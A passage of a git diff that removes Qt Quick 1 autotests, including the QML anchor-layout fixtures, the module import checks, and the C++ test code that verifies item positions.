<< file; -} - -void tst_examples::examples() -{ - QFETCH(QString, file); - - QDeclarativeViewer viewer; - - QtMsgHandler old = qInstallMsgHandler(silentErrorsMsgHandler); - QVERIFY(viewer.open(file)); - qInstallMsgHandler(old); - - if (viewer.view()->status() == QDeclarativeView::Error) - qWarning() << viewer.view()->errors(); - - QCOMPARE(viewer.view()->status(), QDeclarativeView::Ready); - viewer.show(); - - QTest::qWaitForWindowShown(&viewer); -} - -QTEST_MAIN(tst_examples) - -#include "tst_examples.moc" diff --git a/tests/auto/qtquick1/moduleqt47/data/importqt47.qml b/tests/auto/qtquick1/moduleqt47/data/importqt47.qml deleted file mode 100644 index 0a1b533cba..0000000000 --- a/tests/auto/qtquick1/moduleqt47/data/importqt47.qml +++ /dev/null @@ -1,80 +0,0 @@ -import Qt 4.7 - -Item { - QtObject {} - - Component { Item {} } - - // Util - states: [ - State { - name: "bob" - AnchorChanges {} - ParentChange {} - StateChangeScript {} - PropertyChanges {} - } - ] - transitions: [ - Transition { - AnchorAnimation {} - ColorAnimation {} - SmoothedAnimation {} - NumberAnimation {} - ParallelAnimation {} - ParentAnimation {} - PauseAnimation {} - PropertyAnimation {} - RotationAnimation {} - ScriptAction {} - SequentialAnimation {} - SpringAnimation {} - Vector3dAnimation {} - } - ] - - Behavior on x {} - Binding {} - Connections {} - FontLoader {} - ListModel { ListElement {} } - SystemPalette {} - Timer {} - - // graphic items - BorderImage {} - Column {} - MouseArea {} - Flickable {} - Flipable {} - Flow {} - FocusPanel {} - FocusScope {} - Rectangle { gradient: Gradient { GradientStop {} } } - Grid {} - GridView {} - Image {} - ListView {} - Loader {} - PathView { - path: Path { - PathLine {} - PathCubic {} - PathPercent {} - PathQuad {} - PathAttribute {} - } - } - Repeater {} - Rotation {} - Row {} - Translate {} - Scale {} - Text {} - TextEdit {} - TextInput {} - VisualItemModel {} - VisualDataModel {} - - Keys.onPressed: console.log("Press") -} diff --git a/tests/auto/qtquick1/moduleqt47/moduleqt47.pro b/tests/auto/qtquick1/moduleqt47/moduleqt47.pro deleted file mode 100644 index d751ea0b86..0000000000 --- a/tests/auto/qtquick1/moduleqt47/moduleqt47.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_moduleqt47 -macx:CONFIG -= app_bundle - -SOURCES += tst_moduleqt47.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/moduleqt47/tst_moduleqt47.cpp b/tests/auto/qtquick1/moduleqt47/tst_moduleqt47.cpp deleted file mode 100644 index 6c04ad262c..0000000000 --- a/tests/auto/qtquick1/moduleqt47/tst_moduleqt47.cpp +++ /dev/null @@ -1,137 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include - -class tst_moduleqt47 : public QObject -{ - Q_OBJECT -public: - tst_moduleqt47(); - -private slots: - void create(); - - void accidentalImport_data(); - void accidentalImport(); - -private: - QStringList findFiles(const QDir &d); - - QDeclarativeEngine engine; - QStringList excludedFiles; -}; - -tst_moduleqt47::tst_moduleqt47() -{ - excludedFiles << "tests/auto/qtquick1/moduleqt47/data/importqt47.qml" - << "doc/src/declarative/whatsnew.qdoc" - << "doc/src/qtquick1/whatsnew.qdoc"; -} - -void tst_moduleqt47::create() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/importqt47.qml")); - QObject *obj = qobject_cast(c.create()); - if (!obj) - qWarning() << c.errorString(); - - QVERIFY(obj != 0); - delete obj; -} - -QStringList tst_moduleqt47::findFiles(const QDir &d) -{ - QStringList rv; - - QStringList files = d.entryList(QStringList() << QLatin1String("*.qml") << QLatin1String("*.qdoc"), QDir::Files); - foreach (const QString &file, files) { - - QString absFile = d.absoluteFilePath(file); - - bool skip = false; - for (int ii = 0; !skip && ii < excludedFiles.count(); ++ii) - skip = (absFile.endsWith(excludedFiles.at(ii))); - - if (!skip) - rv << absFile; - } - - QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot | QDir::NoSymLinks); - foreach (const QString &dir, dirs) { - QDir sub = d; - sub.cd(dir); - rv << findFiles(sub); - } - - return rv; -} - -void tst_moduleqt47::accidentalImport_data() -{ - QTest::addColumn("file"); - QStringList files = findFiles(QDir(SRCDIR "/../../../../")); - - foreach(const QString &file, files) - QTest::newRow(qPrintable(file)) << file; -} - -void tst_moduleqt47::accidentalImport() -{ - QFETCH(QString, file); - - QFile f(file); - if (!f.open(QIODevice::ReadOnly)) - return; - QByteArray data = f.readAll(); - - if (data.contains("import Qt 4")) - qDebug() << file; - QVERIFY(!data.contains("import Qt 4")); -} - -QTEST_MAIN(tst_moduleqt47) - -#include "tst_moduleqt47.moc" diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/anchors.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/anchors.qml deleted file mode 100644 index 9b7c805336..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/anchors.qml +++ /dev/null @@ -1,162 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 240 - height: 320 - Rectangle { id: masterRect; objectName: "masterRect"; x: 26; width: 96; height: 20; color: "red" } - Rectangle { - id: rect1; objectName: "rect1" - y: 20; width: 10; height: 10 - anchors.left: masterRect.left - } - Rectangle { - id: rect2; objectName: "rect2" - y: 20; width: 10; height: 10 - anchors.left: masterRect.right - } - Rectangle { - id: rect3; objectName: "rect3" - y: 20; width: 10; height: 10 - anchors.left: masterRect.horizontalCenter - } - Rectangle { - id: rect4; objectName: "rect4" - y: 30; width: 10; height: 10 - anchors.right: masterRect.left - } - Rectangle { - id: rect5; objectName: "rect5" - y: 30; width: 10; height: 10 - anchors.right: masterRect.right - } - Rectangle { - id: rect6; objectName: "rect6" - y: 30; width: 10; height: 10 - anchors.right: masterRect.horizontalCenter - } - Rectangle { - id: rect7; objectName: "rect7" - y: 50; width: 10; height: 10 - anchors.left: parent.left - } - Rectangle { - id: rect8; objectName: "rect8" - y: 50; width: 10; height: 10 - anchors.left: parent.right - } - Rectangle { - id: rect9; objectName: "rect9" - y: 50; width: 10; height: 10 - anchors.left: parent.horizontalCenter - } - Rectangle { - id: rect10; objectName: "rect10" - y: 60; width: 10; height: 10 - anchors.right: parent.left - } - Rectangle { - id: rect11; objectName: "rect11" - y: 60; width: 10; height: 10 - anchors.right: parent.right - } - Rectangle { - id: rect12; objectName: "rect12" - y: 60; width: 10; height: 10 - anchors.right: parent.horizontalCenter - } - Rectangle { - id: rect13; objectName: "rect13" - x: 200; width: 10; height: 10 - anchors.top: masterRect.bottom - } - Rectangle { - id: rect14; objectName: "rect14" - width: 10; height: 10; color: "steelblue" - anchors.verticalCenter: parent.verticalCenter - } - Rectangle { - id: rect15; objectName: "rect15" - y: 200; height: 10 - anchors.left: masterRect.left - anchors.right: masterRect.right - } - Rectangle { - id: rect16; objectName: "rect16" - y: 220; height: 10 - anchors.left: masterRect.left - anchors.horizontalCenter: masterRect.right - } - Rectangle { - id: rect17; objectName: "rect17" - y: 240; height: 10 - anchors.right: masterRect.right - anchors.horizontalCenter: masterRect.left - } - Rectangle { - id: rect18; objectName: "rect18" - x: 180; width: 10 - anchors.top: masterRect.bottom - anchors.bottom: rect12.top - } - Rectangle { - id: rect19; objectName: "rect19" - y: 70; width: 10; height: 10 - anchors.horizontalCenter: parent.horizontalCenter - } - Rectangle { - id: rect20; objectName: "rect20" - y: 70; width: 10; height: 10 - anchors.horizontalCenter: parent.right - } - Rectangle { - id: rect21; objectName: "rect21" - y: 70; width: 10; height: 10 - anchors.horizontalCenter: parent.left - } - Rectangle { - id: rect22; objectName: "rect22" - width: 10; height: 10 - anchors.centerIn: masterRect - } - Rectangle { - id: rect23; objectName: "rect23" - anchors.left: masterRect.left - anchors.leftMargin: 5 - anchors.right: masterRect.right - anchors.rightMargin: 5 - anchors.top: masterRect.top - anchors.topMargin: 5 - anchors.bottom: masterRect.bottom - anchors.bottomMargin: 5 - } - Rectangle { - id: rect24; objectName: "rect24" - width: 10; height: 10 - anchors.horizontalCenter: masterRect.left - anchors.horizontalCenterOffset: width/2 - } - Rectangle { - id: rect25; objectName: "rect25" - width: 10; height: 10 - anchors.verticalCenter: rect12.top - anchors.verticalCenterOffset: height/2 - } - Rectangle { - id: rect26; objectName: "rect26" - width: 10; height: 10 - anchors.baseline: masterRect.top - anchors.baselineOffset: height/2 - } - Text { - id: text1; objectName: "text1" - y: 200; - text: "Hello" - } - Text { - id: text2; objectName: "text2" - anchors.baseline: text1.baseline - anchors.left: text1.right - text: "World" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/anchorsqgraphicswidget.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/anchorsqgraphicswidget.qml deleted file mode 100644 index 82d0315aad..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/anchorsqgraphicswidget.qml +++ /dev/null @@ -1,162 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 240 - height: 320 - Rectangle { id: masterRect; objectName: "masterRect"; x: 26; width: 96; height: 20; color: "red" } - QGraphicsWidget { - id: rect1; objectName: "rect1" - y: 20; width: 10; height: 10 - anchors.left: masterRect.left - } - QGraphicsWidget { - id: rect2; objectName: "rect2" - y: 20; width: 10; height: 10 - anchors.left: masterRect.right - } - QGraphicsWidget { - id: rect3; objectName: "rect3" - y: 20; width: 10; height: 10 - anchors.left: masterRect.horizontalCenter - } - QGraphicsWidget { - id: rect4; objectName: "rect4" - y: 30; width: 10; height: 10 - anchors.right: masterRect.left - } - QGraphicsWidget { - id: rect5; objectName: "rect5" - y: 30; width: 10; height: 10 - anchors.right: masterRect.right - } - QGraphicsWidget { - id: rect6; objectName: "rect6" - y: 30; width: 10; height: 10 - anchors.right: masterRect.horizontalCenter - } - QGraphicsWidget { - id: rect7; objectName: "rect7" - y: 50; width: 10; height: 10 - anchors.left: parent.left - } - QGraphicsWidget { - id: rect8; objectName: "rect8" - y: 50; width: 10; height: 10 - anchors.left: parent.right - } - QGraphicsWidget { - id: rect9; objectName: "rect9" - y: 50; width: 10; height: 10 - anchors.left: parent.horizontalCenter - } - QGraphicsWidget { - id: rect10; objectName: "rect10" - y: 60; width: 10; height: 10 - anchors.right: parent.left - } - QGraphicsWidget { - id: rect11; objectName: "rect11" - y: 60; width: 10; height: 10 - anchors.right: parent.right - } - QGraphicsWidget { - id: rect12; objectName: "rect12" - y: 60; width: 10; height: 10 - anchors.right: parent.horizontalCenter - } - QGraphicsWidget { - id: rect13; objectName: "rect13" - x: 200; width: 10; height: 10 - anchors.top: masterRect.bottom - } - QGraphicsWidget { - id: rect14; objectName: "rect14" - width: 10; height: 10; - anchors.verticalCenter: parent.verticalCenter - } - QGraphicsWidget { - id: rect15; objectName: "rect15" - y: 200; height: 10 - anchors.left: masterRect.left - anchors.right: masterRect.right - } - QGraphicsWidget { - id: rect16; objectName: "rect16" - y: 220; height: 10 - anchors.left: masterRect.left - anchors.horizontalCenter: masterRect.right - } - QGraphicsWidget { - id: rect17; objectName: "rect17" - y: 240; height: 10 - anchors.right: masterRect.right - anchors.horizontalCenter: masterRect.left - } - QGraphicsWidget { - id: rect18; objectName: "rect18" - x: 180; width: 10 - anchors.top: masterRect.bottom - anchors.bottom: rect12.top - } - QGraphicsWidget { - id: rect19; objectName: "rect19" - y: 70; width: 10; height: 10 - anchors.horizontalCenter: parent.horizontalCenter - } - QGraphicsWidget { - id: rect20; objectName: "rect20" - y: 70; width: 10; height: 10 - anchors.horizontalCenter: parent.right - } - QGraphicsWidget { - id: rect21; objectName: "rect21" - y: 70; width: 10; height: 10 - anchors.horizontalCenter: parent.left - } - QGraphicsWidget { - id: rect22; objectName: "rect22" - width: 10; height: 10 - anchors.centerIn: masterRect - } - QGraphicsWidget { - id: rect23; objectName: "rect23" - anchors.left: masterRect.left - anchors.leftMargin: 5 - anchors.right: masterRect.right - anchors.rightMargin: 5 - anchors.top: masterRect.top - anchors.topMargin: 5 - anchors.bottom: masterRect.bottom - anchors.bottomMargin: 5 - } - QGraphicsWidget { - id: rect24; objectName: "rect24" - width: 10; height: 10 - anchors.horizontalCenter: masterRect.left - anchors.horizontalCenterOffset: width/2 - } - QGraphicsWidget { - id: rect25; objectName: "rect25" - width: 10; height: 10 - anchors.verticalCenter: rect12.top - anchors.verticalCenterOffset: height/2 - } - Rectangle { - id: rect26; objectName: "rect26" - width: 10; height: 10 - anchors.baseline: masterRect.top - anchors.baselineOffset: height/2 - } - Text { - id: text1; objectName: "text1" - y: 200; - text: "Hello" - } - Text { - id: text2; objectName: "text2" - anchors.baseline: text1.baseline - anchors.left: text1.right - text: "World" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/centerin.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/centerin.qml deleted file mode 100644 index d3bc8cb2bc..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/centerin.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - Rectangle { - objectName: "centered" - width: 50; height: 50; color: "blue" - anchors.centerIn: parent; - anchors.verticalCenterOffset: 30 - anchors.horizontalCenterOffset: 10 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/crash1.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/crash1.qml deleted file mode 100644 index de66067ce6..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/crash1.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -Column { - Text { - text: "foo" - anchors.fill: parent - } - Text { - text: "bar" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/fill.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/fill.qml deleted file mode 100644 index ff19675ef1..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/fill.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - Rectangle { - objectName: "filler" - width: 50; height: 50; color: "blue" - anchors.fill: parent; - anchors.leftMargin: 10; - anchors.rightMargin: 20; - anchors.topMargin: 30; - anchors.bottomMargin: 40; - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/hvCenter.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/hvCenter.qml deleted file mode 100644 index 11b31ffdc0..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/hvCenter.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 77; height: 95 - Rectangle { - objectName: "centered" - width: 57; height: 57; color: "blue" - anchors.verticalCenter: parent.verticalCenter - anchors.horizontalCenter: parent.horizontalCenter - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/loop1.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/loop1.qml deleted file mode 100644 index def48fae52..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/loop1.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: rect - width: 120; height: 200; color: "white" - Text { id: text1; anchors.right: text2.right; text: "Hello" } - Text { id: text2; anchors.right: text1.right; anchors.rightMargin: 10; text: "World" } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/loop2.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/loop2.qml deleted file mode 100644 index 93430efb15..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/loop2.qml +++ /dev/null @@ -1,20 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: container; - width: 600; - height: 600; - - Image { - id: image1 - source: "http://labs.qt.nokia.com/blogs/wp-content/uploads/2009/03/3311388091_ac2a257feb.jpg" - anchors.right: image2.left - } - - Image { - id: image2 - source: "http://labs.qt.nokia.com/blogs/wp-content/uploads/2009/03/oslo_groupphoto.jpg" - anchors.left: image1.right - anchors.leftMargin: 20 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/data/margins.qml b/tests/auto/qtquick1/qdeclarativeanchors/data/margins.qml deleted file mode 100644 index 685346a879..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/data/margins.qml +++ /dev/null @@ -1,13 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - Rectangle { - objectName: "filler" - width: 50; height: 50; color: "blue" - anchors.fill: parent; - anchors.margins: 10 - anchors.leftMargin: 5 - anchors.topMargin: 6 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeanchors/qdeclarativeanchors.pro b/tests/auto/qtquick1/qdeclarativeanchors/qdeclarativeanchors.pro deleted file mode 100644 index 57a285b4f9..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/qdeclarativeanchors.pro +++ /dev/null @@ -1,10 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeanchors -SOURCES += tst_qdeclarativeanchors.cpp -macx:CONFIG -= app_bundle - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativeanchors/tst_qdeclarativeanchors.cpp b/tests/auto/qtquick1/qdeclarativeanchors/tst_qdeclarativeanchors.cpp deleted file mode 100644 index 1130cd7a14..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanchors/tst_qdeclarativeanchors.cpp +++ /dev/null @@ -1,767 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -Q_DECLARE_METATYPE(QDeclarative1Anchors::Anchor) -Q_DECLARE_METATYPE(QDeclarative1AnchorLine::AnchorLine) - -class tst_QDeclarative1Anchors : public QObject -{ - Q_OBJECT -public: - tst_QDeclarative1Anchors() {} - -private slots: - void basicAnchors(); - void basicAnchorsQGraphicsWidget(); - void basicAnchorsRTL(); - void loops(); - void illegalSets(); - void illegalSets_data(); - void reset(); - void reset_data(); - void resetConvenience(); - void nullItem(); - void nullItem_data(); - void crash1(); - void centerIn(); - void centerInRTL(); - void hvCenter(); - void hvCenterRTL(); - void fill(); - void fillRTL(); - void margins(); - void marginsRTL(); -}; - -/* - Find an item with the specified id. -*/ -template -T *findItem(QGraphicsObject *parent, const QString &objectName) -{ - const QMetaObject &mo = T::staticMetaObject; - QList children = parent->childItems(); - for (int i = 0; i < children.count(); ++i) { - QDeclarativeItem *item = qobject_cast(children.at(i)->toGraphicsObject()); - if (item) { - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - return static_cast(item); - } - item = findItem(item, objectName); - if (item) - return static_cast(item); - } - } - - return 0; -} - -QGraphicsObject *findObject(QGraphicsObject *parent, const QString &objectName) -{ - QList children = parent->childItems(); - for (int i = 0; i < children.count(); ++i) { - QGraphicsObject *item = children.at(i)->toGraphicsObject(); - if (item) { - if (objectName.isEmpty() || item->objectName() == objectName) { - return item; - } - item = findObject(item, objectName); - if (item) - return item; - } - } - - return 0; -} - - -void tst_QDeclarative1Anchors::basicAnchors() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/anchors.qml")); - - qApp->processEvents(); - - //sibling horizontal - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect1"))->x(), 26.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect2"))->x(), 122.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect3"))->x(), 74.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect4"))->x(), 16.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect5"))->x(), 112.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect6"))->x(), 64.0); - - //parent horizontal - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect7"))->x(), 0.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect8"))->x(), 240.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect9"))->x(), 120.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect10"))->x(), -10.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect11"))->x(), 230.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect12"))->x(), 110.0); - - //vertical - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect13"))->y(), 20.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect14"))->y(), 155.0); - - //stretch - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect15"))->x(), 26.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect15"))->width(), 96.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect16"))->x(), 26.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect16"))->width(), 192.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect17"))->x(), -70.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect17"))->width(), 192.0); - - //vertical stretch - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect18"))->y(), 20.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect18"))->height(), 40.0); - - //more parent horizontal - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect19"))->x(), 115.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect20"))->x(), 235.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect21"))->x(), -5.0); - - //centerIn - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect22"))->x(), 69.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect22"))->y(), 5.0); - - //margins - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect23"))->x(), 31.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect23"))->y(), 5.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect23"))->width(), 86.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect23"))->height(), 10.0); - - // offsets - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect24"))->x(), 26.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect25"))->y(), 60.0); - QCOMPARE(findItem(view->rootObject(), QLatin1String("rect26"))->y(), 5.0); - - //baseline - QDeclarative1Text *text1 = findItem(view->rootObject(), QLatin1String("text1")); - QDeclarative1Text *text2 = findItem(view->rootObject(), QLatin1String("text2")); - QCOMPARE(text1->y(), text2->y()); - - delete view; -} - -void tst_QDeclarative1Anchors::basicAnchorsQGraphicsWidget() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/anchorsqgraphicswidget.qml")); - - qApp->processEvents(); - - //sibling horizontal - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect1"))->x(), 26.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect2"))->x(), 122.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect3"))->x(), 74.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect4"))->x(), 16.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect5"))->x(), 112.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect6"))->x(), 64.0); - - //parent horizontal - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect7"))->x(), 0.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect8"))->x(), 240.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect9"))->x(), 120.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect10"))->x(), -10.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect11"))->x(), 230.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect12"))->x(), 110.0); - - //vertical - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect13"))->y(), 20.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect14"))->y(), 155.0); - - //stretch - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect15"))->x(), 26.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect15"))->property("width").toReal(), 96.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect16"))->x(), 26.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect16"))->property("width").toReal(), 192.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect17"))->x(), -70.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect17"))->property("width").toReal(), 192.0); - - //vertical stretch - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect18"))->y(), 20.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect18"))->property("height").toReal(), 40.0); - - //more parent horizontal - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect19"))->x(), 115.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect20"))->x(), 235.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect21"))->x(), -5.0); - - //centerIn - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect22"))->x(), 69.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect22"))->y(), 5.0); - - //margins - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect23"))->x(), 31.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect23"))->y(), 5.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect23"))->property("width").toReal(), 86.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect23"))->property("height").toReal(), 10.0); - - // offsets - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect24"))->x(), 26.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect25"))->y(), 60.0); - QCOMPARE(findObject(view->rootObject(), QLatin1String("rect26"))->y(), 5.0); - - //baseline - QDeclarative1Text *text1 = findItem(view->rootObject(), QLatin1String("text1")); - QDeclarative1Text *text2 = findItem(view->rootObject(), QLatin1String("text2")); - QCOMPARE(text1->y(), text2->y()); - - delete view; -} - -QDeclarativeItem* childItem(QDeclarativeItem *parentItem, const char * itemString) { - return findItem(parentItem, QLatin1String(itemString)); -} - -qreal offsetMasterRTL(QDeclarativeItem *rootItem, const char * itemString) { - QDeclarativeItem* masterItem = findItem(rootItem, QLatin1String("masterRect")); - return masterItem->width()+2*masterItem->x()-findItem(rootItem, QLatin1String(itemString))->width(); -} - -qreal offsetParentRTL(QDeclarativeItem *rootItem, const char * itemString) { - return rootItem->width()+2*rootItem->x()-findItem(rootItem, QLatin1String(itemString))->width(); -} - -void mirrorAnchors(QDeclarativeItem *item) { - QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item); - itemPrivate->setLayoutMirror(true); -} - -void tst_QDeclarative1Anchors::basicAnchorsRTL() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/anchors.qml")); - - qApp->processEvents(); - - QDeclarativeItem* rootItem = qobject_cast(view->rootObject()); - foreach(QObject *child, rootItem->children()) { - bool mirrored = QDeclarativeItemPrivate::get(qobject_cast(child))->anchors()->property("mirrored").toBool(); - QCOMPARE(mirrored, false); - } - - foreach(QObject *child, rootItem->children()) - mirrorAnchors(qobject_cast(child)); - - foreach(QObject *child, rootItem->children()) { - bool mirrored = QDeclarativeItemPrivate::get(qobject_cast(child))->anchors()->property("mirrored").toBool(); - QCOMPARE(mirrored, true); - } - - 